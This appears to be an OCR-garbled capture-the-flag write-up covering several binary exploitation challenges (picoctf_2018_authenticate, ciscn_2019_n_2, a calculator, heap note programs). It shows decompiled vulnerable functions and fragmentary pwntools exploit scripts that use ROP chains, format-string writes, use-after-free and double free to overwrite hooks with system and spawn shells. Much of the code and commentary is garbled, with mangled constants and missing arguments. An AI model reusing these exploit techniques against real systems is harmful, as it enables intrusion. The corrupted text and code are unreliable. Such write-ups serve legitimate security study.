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int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);

calk();

return puts(“"Merry Christmas!");
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calc

unsigned int calc()

{
int vi[1e1]; // [esp+18h] [ebp-5A8h] BYREF
char s[1624]; // [esp+1ACh] [ebp-4©Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = _ readgsdword(©xl4u);
while ( 1 )
{
bzero(s, ex4eeu);
if ( lget_expr(s, 1024) )
break;
init_pool(vl);
if ( parse_expr(s, vil) )
{
printf("%d\n", vi[vi[©]]);
fflush(stdout);
X
X
return __readgsdword(@x14u) ~ v3;
}

bzero B/ H G NMEE .

RJEget_exprit XEFH, Mz KA.

int __cdecl get_expr(int al, int a2)

{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

vs = @;

while ( v5 < a2 && read(®, &v4, 1) != -1 && v4 = 18 )

{
if (v4 ==43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
{

V2 = vh++;
*(_BYTE *)(al + v2) = v4;

¥
¥
*(_BYTE *)(v5 + al) = @;
return v5;
} I
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for (i = @; ; ++i )

{

if ( (unsigned int)(*(char *)(1 + al) - 48) > 9 )

{

v7 i+ al - v4;
sl = (char *)malloc(v7 + 1);
memcpy(sl, v4, v7);
si[v7] = @e;
if ( !strcmp(si, "e") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(sl);
if (v9 >0 )
{
v3 = (*al2)++;
a2[v3 + 1] = v9;
}

if ( *(_BYTE *)(i + al) && (unsigned int)(*(char *)(i + 1 + al) - 48) > 9 )

{

puts("expression error!");
fflush(stdout);
return 0;

¥

vd = 1+ 1 + al;
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from pwn import

import struct

context(arch

process(

elf = ELF(
0x080701aa
0x0805c34b
0x080481d1
popecxebx 0x080701d1
int80 = 0x08049a21

popedx
popeax

popebx

payload
p.sendlineafter(

p.recvline()

(p.recvline())

(mebp + ©x10)

(mebp

rop [6x080701d1, ©, mebp
(10):

(360

for i in
payload
Q:

p.sendline(payload)

if rop[i]
stack (p.recvline()
if stack 9:
print
payload
p.sendline(payload)
p.recvline()
else:
p.sendline(payload)
stack
print
if stack
payload

(p.recvline()

p.sendline(payload)
p.recvline()
if i 2:
payload (360
else:
payload (360
p.sendline(payload)

p.recvline()

p.sendline(
p.interactive()

P

=y

exp B %

, log level

, payload)

oxffffffff
(mebp)

oxFFffffe

)

Ox4, Ox08070laa, O, Ox0805c34b, Oxb, 0x08049a21, u32(

)

) & OXFFFFFFFf

(stack)
(stack)

) & OXFFFFFFFF

(stack)

(stack)
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232 picoctf_2018_authenticate

Llint __cdecl main(int argc, const char **argv, const char **envp)

A

3| __gid_t v4; // [es
Ll char s[64]; // [es
;| unsigned int vé6; /

7| v6 = __readgsdword(@x14u);
3| setvbuf(stdout, @, 2, ©);
)| v4 = getegid();
)| setresgid(v4, v4, va);
puts("Would you like to read the flag? (yes/no)");
fgets(s, 64, _bss_start);
if ( strstr(s, "no") )
{
puts(“"Okay, Exiting...");
exit(1);

[T N L

7

}
3| if ( !strstr(s, "yes") )
0o
) puts(“Received Unknown Input:\n");
L printf(s);
0}
3| read_flag();
Ll return ©;
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.bss:0804A0848 _ ; __do_glotal:ats*s_aux+

.bss:0804A049 align 4

.bss:8884A04C public authenticated

Lbss:9894Aa4C authenticated dd ? ; DATA XREF: read_flag+6
.bss:0804A04C _bss ends

.bss:08804A04C
. pr“gend :B804A050 ; ==============SsSs=sSsSsSsSSsSsSsSSSS=SsSsS=SSS=Ss=S=SSSs=Ss==sS========
.prgend:0804A050
.prgend:0804A850 ; Segment type: Zero-length
nroand*ARAALASA nrosnd csagmant hvta nuhliec '' nea3x?

from pwn import

context.log level

r remote(

bss 0x804a04c

payload = fmtstr_payload(11l, {bss:1})

r.sendline(payload)

r.interactive()
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add

= __readfsqword(©x28u);
for (i =0; i <= 15 & *((_QWORD *)&unk_2020C0 + i); ++i )

if (1<=15)
{
printf(“length: ");
__1s0c99_scanf("%d", &v1l);
if ( > 127 && <= @xleeee )
{
*((_QWORD *)&unk_2020C0 + i) = malloc(vl);
if ( !'*((_QWORD *)&unk_2@20C0 + 1) )
{
puts("malloc failed.");
exit(-1);
}
memset (*((void **)&unk_2020C0 + i), O, )s
puts(“your note:");
sub_B20(*((_QWORD *)&unk_2020C0 + i), (unsigned int)vl);
puts(“done.");
¥

else

{

¥
¥

else

{

puts(“invalid size");
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char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __inte4 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(@x28u);
for (1 =03 1 < a2; ++1 )
{
buf = @;
if ( read(®, &buf, 1uLL) < @ )
{
puts("Read error.");
exit(-2);
¥
if ( buf == 10 )
{

*(_BYTE *)(i + al) = @;
return __readfsqword(@x28u) " v5;

¥
*(_BYTE *)(al + i) = buf;

¥
*(_BYTE *)(i + al) = 9;
a3 3 o eI R
BISEERE H —FE, S IHL B 4 off by null.
delete

kinsigned _ inté4 delete()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);
printf("index: ");
__1s0c99_scanf("%d", &vl);
if (vl >= @ & vl <= 15 & *(( QWORD *)&unk_2020C0 + v1) )
{
free(*((void **)&unk_2020C0 + v1));
*((_QWORD *)&unk_2@20C0 + v1) = @LL;
puts(“done.");
¥

else

{

puts(“invalid index.");

h

return readfsqgword(ex28u) ~ v2;
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show

kinsigned _ int64 show()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);

printf("index: ");

__1s0c99_scanf("%d", &vl);

if (vl >= @ & vl <= 15 & *(( QWORD *)&unk_2020C0 + v1) )

{
puts(*((const char **)&unk_2620C0 + v1));
puts(“done.");
¥
else
{
puts("invalid index.");
¥
return __readfsqword(®x28u) ~ v2;
1
IE % show
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from pwn import

r remote(

libc = ELF(

def add(size,note):
r.sendlineafter(
r.sendlineafter(
r.sendafter(

def delete(idx):
r.sendlineafter(
r.sendlineafter(

def show(idx):
r.sendlineafter(

r.sendlineafter(

add(ex1fo,




for i in (7):
delete(4 + i)

oxfo p64(0x300))

add(ox1fo,

show(9)
malloc_hook (ub4(r.recvuntil( )[-6:].1just(8, )D) OXFFFFFFFFFFFFFO00) (libc.sym[
OXFFF)
libc_base malloc_hook libc.sym[
libc_base + libc.sym|[
libc_base + libc.sym|[
(libc_base)

p64(free_hook)

)
p64(system_addr)

r.interactive()
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unsigned _ _int64 new()

unsigned int v1; //
char s[24]; //
unsigned _ inté4 v3; //

= _ readfsqword(©x28u);

printf("Index:");

memset(s, ©, Ox10uLL);

read(®, s, OxFuLL);
= atoi(s);

if ( <= 5 && !*(&ptr + v1) )

{
*(&ptr + v1) = malloc(@x68ull);
printf("Content:");
sub_400932(* (&ptr + v1), @x68LL);
puts("Done!");

X

return __readfsqword(@x28u) " v3;
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edit
unsigned __inte4 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(@x28u);

printf("Index:");

memset(s, ©, @x10uLL);

read(®@, s, OxFuLL);

vl = atoi(s);

if ( vl <= 5 && *(&ptr + v1) )

{
printf(“Content:");
sub_400932((__inted)*(&ptr + v1), ©x68u);
puts(“Done!");

¥

return __readfsqword(®x28u) " v3;

free

knsigned _ int64 release()

{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+1@h] [rbp-28h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = _ readfsgqword(@x28u);
printf("Index:");
memset(s, ©, Ox10uLLl);
read(®, s, OxFuLL);
vl = atoi(s);
if ( vl <= 5 && *(&ptr + v1) && dword_602098 <= 2 )
{
free(*(&ptr + v1));
++dword_602098;
puts("Done!");
X

return __readfsqword(@x28u) " v3;

Huaf, {HZHfEfree =K.

int sub_4888E3()
{

}

return system("/bin/sh");
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FAI Mt bss B _E stdoutfg %l .

.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss
.bss

B LA L L PR A
:0000000000602020
:©0000000000602020
:0000000000602020
:0000800000602020
:0000000000602020
:©0000000000602020
10000000000602028
10000000000602030
:0000000000602030
:©0000000000602030
:©000000000602030
10000000000602030
100000000006020338
:0000000000602040
:0000000000602040
:0000000000602040
10000000000602040
:0000000000602040
:0000000000602048
:©0000000000602048
10000000000602049
10000000000602060
:0000000000602060
1 0000000000602060
:©000000000R602068
10000000000602069
:000000000060206A
:000000000060206B

3 FILE *stdout
stdout

;3 FILE *stdin
stdin

; FILE *stderr

stderr

byte_602048

; void *ptr
ptr

»0rg buwlwlun

assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

public stdout
dgq ?

align 1eh
public stdin
dgq ?

align 2eh
public stderr

dgq ?

db ?
align 26h
dgq ?
db
db

db
db ? s

a R TR TR Y

2 DAﬂA XREF: LOAD:00000000004003308T0

sub_4080882+221r

; Copy of shared data

; DATA XREF: LOAD:00000000004003C0To

sub_400882+4Tr

; Copy of shared data

; DATA XREF: LOAD:0000000000400420T0

sub_400882+40Tr

; Copy of shared data
; DATA XREF: sub_4@e85eTr

sub_4080850+121Tw

; DATA XREF: sub_4809A7+6ATr

sub_4009A7+871Tw ...



from pwn import

context.log level

remote (

backdoor 0x4008e3

def add(index,content):
r.sendlineafter( )
r.sendlineafter( (index))

r.sendlineafter( ,content)

def edit(index,content):
r.sendlineafter( )
r.sendlineafter( (index))

r.sendlineafter( ,content)
def delete(index):

r.sendlineafter( )

r.sendlineafter( (index))
fake_chunk_in_bss Ox601FF5

0x60)

edit(0,p64(fake_chunk_in_bss))
add (1, 0x60)

p64(fake_chunk_in_bss OxB)
p64(0)
p64(fake_chunk_in_bss + 0x10)
ox3 p64(fake_chunk_in_bss 0x78)

r.interactive()

235 ciscn_2019 n_2

p64(backdoor)

0x25

p64(0x601FF0)




fint dispMenu()

{
puts("$$$3$$955$955555558955888%%");
puts("$ Baby Tcache $");
puts("$$$3$$955$955555558955888%%");
puts("$ 1. Create user $"),
puts("$ 2. Delete user $ ")
puts("$ 3. Edit user $ ")
puts("$ 4. Display user $ ")
puts("$ 5. Add money $ ")
puts("$ 6. Buy gift $ ")
puts("$ 7. Exit $ ")
puts("$$$3559535555$55555955598%%");
return printf("Your choice: ");

¥

create user

LML LI'EdLEUSEIL )
{
__inté4 vi1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
int i; // [rsp+Ch] [rbp-14h]

for (1 =0; 1 <= 2; ++1 )
{
if ( !LODWORD(chunkList[2 * i + 1]) )
{ .
v2 = 1;
break;
¥
if (1 ==2)
return puts(":(");
¥
chunkList[2 * (int)v2] = malloc(©x18ulLl);
printf(“name:");
myRead(chunkList[2 * (int)v2], 8LL);
printf(“age:");
vl = chunkList[2 * (int)v2];
*(_QWORD *)(vl + 16) = readNum();
*(_QWORD *)(chunkList[2 * (int)v2] + 8LL) = eLL;
LODWORD(chunkList[2 * (int) +1]) = 1;
return printf("idx: %d\n", )3

i %2 =/ chunk.



flag

AL

delete

name

age

lint deleteUser()

{
int v1; //

printf("Index:");

= readNum();
if ( > 2 | <9e)

exit(1);
if ( !chunkList[2 * 1)

return puts(":(");
free((void *)chunkList[2 * v1]);
LODWORD (chunkList[2 * +1]) = e;
return puts(”:)");

chunk#free 2 J& ¥ An EAL MUK T 0.
18,2 24 Ndouble free.
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edit

int editUser()
{
__inte4 ve; // rbx
int v2; // [rsp+Ch] [rbp-14h]

printf("Index:");
v2 = readNum();
if (vz2>2 ]| vz<eoe)
exit(1);
if ( !chunkList[2 * v2] || !LODWORD(chunkList[2 * v2 + 1]) )
return puts(":(");
printf(“name:");
myRead((void *)chunkList[2 * v2], 8);
printf("age:");
ve = chunkList[2 * v2];
*(_QWORD *)(ve + 16) = readNum();
return puts(”:)");

1Eedit, & M

print

int printuUser()
int v1; // [rsp+Ch] [rbp-4h]
printf("Index:");

vl = readNum();
if (vi>3 || vi<e)

exit(1);

if ( !chunkList[2 * v1] || !'LODWORD(chunkList[2 * vi + 1]) )
return puts(":(");

puts("---=----------mmoo oo o ")

printf("name: ");

puts((const char *)chunkList[2 * v1]);

printf("age: %1ld\nmoney: %11ld\n", *(_QWORD *)(chunkList[2 * v1] + 16LL), *(_QWORD *)(chunkList[2 * v1] + 8LL));
puts("--------mmmimo oo D

return puts(":)");

Ox18H1[A] T K &2 money s



addmoney

int addMoney()

{
int v1; // [rsp+Ch] [rbp-4h]
printf("Index:");
vl = readNum();
if (vi>2 ]| vi<<e)
exit(1);
if ( !chunkList[2 * v1] )
return puts(":(");
++*(_QWORD *)(chunkList[2 * v1] + 8LL);
return puts(”:)");
".
R BN .
gift

int buyGift()
{
int v1; // [rsp+éh] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF

printf("Index:");

v2 = readNum();

if (v2>2 || v2<ce)
exit(1);

if ( !chunkList[2 * v2] || *(__inte4 *)(chunkList[2 * v2] + 8LL) <= @xleeeee )
return puts(":(");

printf("input the address you want to leak:");

_1s0c99_scanf("%p", &buf);

printf("input the size you want to leak:");

_1s0c99_scanf("%d", &vl);

printf("data:[[[");

write(1, buf, v1);

puts("]111\n");

return puts(":)");

af LA EE bk, (HR TREA .
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from pwn import
context.log_level

r = remote(

elf = ELF(
libc = ELF(




def add(content, age):
r.recvuntil(
.sendline(
.recvuntil(

.recvuntil( )

a
r
r.send(content)
r
r

.sendline( (age))

def delete(index):
.recvuntil(menu)
.sendline( )
.recvuntil( )
.sendline( (index))

def show(index):
.recvuntil(menu)
.sendline( )
.recvuntil( )
.sendline( (index))

def edit(index, content, age):
r.recvuntil(menu)

.sendline( )

.recvuntil( )
.sendline( (index))
.recvuntil( )
.send(content)

.recvuntil( )
.sendline( (age))

def add_money(index):
.recvuntil(menu)
.sendline( )
.recvuntil( )
.sendline( (index))

def buy(index, addr, size):
r.recvuntil(menu)
.sendline( )
.recvuntil( )
.sendline( (index))
.recvuntil(
.sendline( (addr))
.recvuntil(

.sendline( (size))

e e T B B B B B

.recvuntil( )
addr ub4(r.recv(size).ljust(8,

return addr

bss_addr 0x602060
free_got elf.got|

10)




add(pb6 S_a P
add(p64(free_got), 10
add_money(2)

ub4(r.recvn(6)
libc.sym[
libc.sym[
libc.search(

edit(2, p64(free_hook), bin_sh)
edit(0, p64(system), 10)
delete(1)

r.interactive()

libc.symbols|
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